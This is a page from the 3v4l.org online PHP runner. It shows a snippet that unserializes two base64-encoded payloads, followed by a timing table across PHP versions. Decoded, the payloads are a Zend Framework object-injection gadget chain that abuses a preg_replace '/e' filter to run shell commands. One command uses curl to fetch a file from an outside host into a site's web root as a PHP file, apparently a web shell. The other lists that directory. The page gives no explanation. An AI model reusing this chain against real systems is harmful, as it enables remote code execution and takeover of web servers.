3v4l.org

run code in 300+ PHP versions simultaneously
<?php var_dump( unserialize(base64_decode("YTozOntzOjc6InByb2R1Y3QiO3M6MToiMSI7czo2OiJvcHRpb24iO3M6MToiMSI7czoxOiJ4IjtPOjg6IlplbmRfTG9nIjoxOntzOjExOiIAKgBfd3JpdGVycyI7YToxOntpOjA7TzoyMDoiWmVuZF9Mb2dfV3JpdGVyX01haWwiOjU6e3M6MTY6IgAqAF9ldmVudHNUb01haWwiO2E6MTp7aTowO2k6MTt9czoyMjoiACoAX2xheW91dEV2ZW50c1RvTWFpbCI7YTowOnt9czo4OiIAKgBfbWFpbCI7Tzo5OiJaZW5kX01haWwiOjA6e31zOjEwOiIAKgBfbGF5b3V0IjtPOjExOiJaZW5kX0xheW91dCI6Mzp7czoxMzoiACoAX2luZmxlY3RvciI7TzoyMzoiWmVuZF9GaWx0ZXJfUHJlZ1JlcGxhY2UiOjI6e3M6MTY6IgAqAF9tYXRjaFBhdHRlcm4iO3M6NzoiLyguKikvZSI7czoxNToiACoAX3JlcGxhY2VtZW50IjtzOjEwMjoiZXhpdChzaGVsbF9leGVjKCJjdXJsIC1vIC92YXIvd3d3L3pvd2hvdy9zaGFyZWQvc2l0ZW1hcHMvc3lzdGVtLnBocCBodHRwOi8vZGl0dG0ub3JnL2dldC9zeXN0ZW0udHh0IikpIjt9czoyMDoiACoAX2luZmxlY3RvckVuYWJsZWQiO2I6MTtzOjEwOiIAKgBfbGF5b3V0IjtzOjY6ImxheW91dCI7fXM6MjI6IgAqAF9zdWJqZWN0UHJlcGVuZFRleHQiO047fX19fQ=="))); var_dump( unserialize(base64_decode("YTozOntzOjc6InByb2R1Y3QiO3M6MToiMSI7czo2OiJvcHRpb24iO3M6MToiMSI7czoxOiJ4IjtPOjg6IlplbmRfTG9nIjoxOntzOjExOiIAKgBfd3JpdGVycyI7YToxOntpOjA7TzoyMDoiWmVuZF9Mb2dfV3JpdGVyX01haWwiOjU6e3M6MTY6IgAqAF9ldmVudHNUb01haWwiO2E6MTp7aTowO2k6MTt9czoyMjoiACoAX2xheW91dEV2ZW50c1RvTWFpbCI7YTowOnt9czo4OiIAKgBfbWFpbCI7Tzo5OiJaZW5kX01haWwiOjA6e31zOjEwOiIAKgBfbGF5b3V0IjtPOjExOiJaZW5kX0xheW91dCI6Mzp7czoxMzoiACoAX2luZmxlY3RvciI7TzoyMzoiWmVuZF9GaWx0ZXJfUHJlZ1JlcGxhY2UiOjI6e3M6MTY6IgAqAF9tYXRjaFBhdHRlcm4iO3M6NzoiLyguKikvZSI7czoxNToiACoAX3JlcGxhY2VtZW50IjtzOjU5OiJleGl0KHNoZWxsX2V4ZWMoImxzIC1saWEgL3Zhci93d3cvem93aG93L3NoYXJlZC9zaXRlbWFwcyIpKSI7fXM6MjA6IgAqAF9pbmZsZWN0b3JFbmFibGVkIjtiOjE7czoxMDoiACoAX2xheW91dCI7czo2OiJsYXlvdXQiO31zOjIyOiIAKgBfc3ViamVjdFByZXBlbmRUZXh0IjtOO319fX0=")));

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0160.00316.38
8.3.50.0110.01117.96
8.3.40.0120.00318.67
8.3.30.0070.01018.59
8.3.20.0040.00418.88
8.3.10.0040.00418.85
8.3.00.0040.00417.80
8.2.180.0100.00718.00
8.2.170.0040.01122.96
8.2.160.0000.01918.88
8.2.150.0060.00324.18
8.2.140.0040.00424.66
8.2.130.0080.00019.64
8.2.120.0060.00326.35
8.2.110.0150.00619.27
8.2.100.0060.00617.61
8.2.90.0060.00317.53
8.2.80.0060.00319.41
8.2.70.0040.00417.68
8.2.60.0000.00917.78
8.2.50.0030.00618.10
8.2.40.0040.00420.90
8.2.30.0070.00019.33
8.2.20.0030.00517.95
8.2.10.0060.00317.90
8.2.00.0040.00419.23
8.1.280.0100.01325.92
8.1.270.0040.00423.79
8.1.260.0040.00426.35
8.1.250.0050.00328.09
8.1.240.0030.00623.82
8.1.230.0000.01121.04
8.1.220.0100.00017.74
8.1.210.0000.00819.00
8.1.200.0000.00917.23
8.1.190.0000.00817.10
8.1.180.0050.00318.10
8.1.170.0080.00018.38
8.1.160.0000.00718.70
8.1.150.0050.00218.84
8.1.140.0080.00017.62
8.1.130.0030.00318.99
8.1.120.0000.00817.38
8.1.110.0030.00617.01
8.1.100.0000.00817.25
8.1.90.0030.00617.25
8.1.80.0000.00817.36
8.1.70.0000.00717.27
8.1.60.0060.00317.52
8.1.50.0000.00817.42
8.1.40.0030.00617.38
8.1.30.0060.00317.50
8.1.20.0040.00417.51
8.1.10.0030.00617.44
8.1.00.0000.00917.33
8.0.300.0030.00619.64
8.0.290.0030.00616.63
8.0.280.0000.00718.23
8.0.270.0040.00417.21
8.0.260.0030.00317.09
8.0.250.0070.00017.00
8.0.240.0000.00716.88
8.0.230.0070.00016.96
8.0.220.0070.00016.75
8.0.210.0030.00316.73
8.0.200.0040.00416.83
8.0.190.0030.00516.96
8.0.180.0040.00416.91
8.0.170.0040.00416.87
8.0.160.0030.00516.98
8.0.150.0080.00016.82
8.0.140.0000.00716.84
8.0.130.0000.00713.30
8.0.120.0030.00516.73
8.0.110.0050.00516.85
8.0.100.0000.00816.92
8.0.90.0070.00016.84
8.0.80.0070.01616.79
8.0.70.0000.00716.85
8.0.60.0070.00016.73
8.0.50.0030.00516.85
8.0.30.0110.00917.03
8.0.20.0130.00917.40
8.0.10.0080.00016.91
8.0.00.0100.00816.58
7.4.330.0000.00715.55
7.4.320.0020.00516.43
7.4.300.0070.00016.45
7.4.290.0030.00516.40
7.4.280.0070.00016.51
7.4.270.0000.00716.48
7.4.260.0040.00416.39
7.4.250.0000.00816.52
7.4.240.0070.00016.33
7.4.230.0070.00016.30
7.4.220.0040.00416.57
7.4.210.0090.00816.48
7.4.200.0070.00016.41
7.4.160.0090.01216.32
7.4.140.0130.00617.86
7.4.130.0210.01316.54
7.4.120.0110.00816.52
7.4.110.0110.00816.44
7.4.100.0150.00416.39
7.4.90.0100.01316.23
7.4.80.0190.00619.39
7.4.70.0060.01216.43
7.4.60.0100.00716.26
7.4.50.0070.00716.23
7.4.40.0140.01116.34
7.4.00.0050.01114.67
7.3.330.0000.00512.98
7.3.320.0000.00613.09
7.3.310.0030.00316.17
7.3.300.0080.00016.05
7.3.290.0030.00316.05
7.3.280.0080.01016.19
7.3.260.0140.00516.17
7.3.240.0090.00916.29
7.3.230.0070.01316.39
7.3.210.0030.01516.32
7.3.200.0000.02016.15
7.3.190.0100.01316.10
7.3.180.0140.00316.35
7.3.170.0070.01516.39
7.3.160.0100.01116.29
7.3.120.0050.01414.70
7.3.110.0080.00714.94
7.3.100.0100.00314.76
7.3.90.0050.01214.56
7.3.80.0090.01014.82
7.3.70.0060.00914.75
7.3.60.0080.00614.79
7.3.50.0030.01314.52
7.3.40.0070.00814.71
7.3.30.0050.00714.85
7.3.20.0080.00816.54
7.3.10.0020.01216.50
7.3.00.0070.00716.43
7.2.330.0130.01316.41
7.2.320.0050.01416.43
7.2.310.0170.00416.29
7.2.300.0120.00616.40
7.2.290.0080.01216.34
7.2.250.0120.00814.97
7.2.240.0070.01314.76
7.2.230.0050.01214.91
7.2.220.0050.01014.70
7.2.210.0070.00714.90
7.2.200.0070.00714.90
7.2.190.0060.01014.76
7.2.180.0050.01114.83
7.2.170.0120.00314.87
7.2.60.1600.01114.65
7.2.50.1540.01314.86
7.2.40.0240.00915.36
7.2.30.1430.01115.46
7.2.20.1570.00915.24
7.2.10.1430.01515.22
7.2.00.0430.01215.07
7.1.330.0100.00715.64
7.1.320.0060.00815.68
7.1.310.0080.00715.54
7.1.300.0080.00915.55
7.1.290.0060.00615.78
7.1.280.0040.00615.71
7.1.270.0080.00615.51
7.1.260.0050.00815.69
7.1.200.0030.01015.61
7.1.170.1470.01013.95
7.1.160.1460.01616.85
7.1.150.1640.01416.48
7.1.140.0360.02016.60
7.1.130.0170.01416.88
7.1.120.1470.01416.79
7.1.110.0610.01616.15
7.1.100.2420.00915.86
7.1.90.0370.01315.94
7.1.80.1340.01316.23
7.1.70.1390.01614.84
7.1.60.1430.01333.19
7.1.50.1440.01932.84
7.1.40.1620.01832.43
7.1.30.1550.02032.41
7.1.20.1760.01532.65
7.1.10.1280.01314.56
7.1.00.1280.01414.81

preferences:
49.48 ms | 401 KiB | 5 Q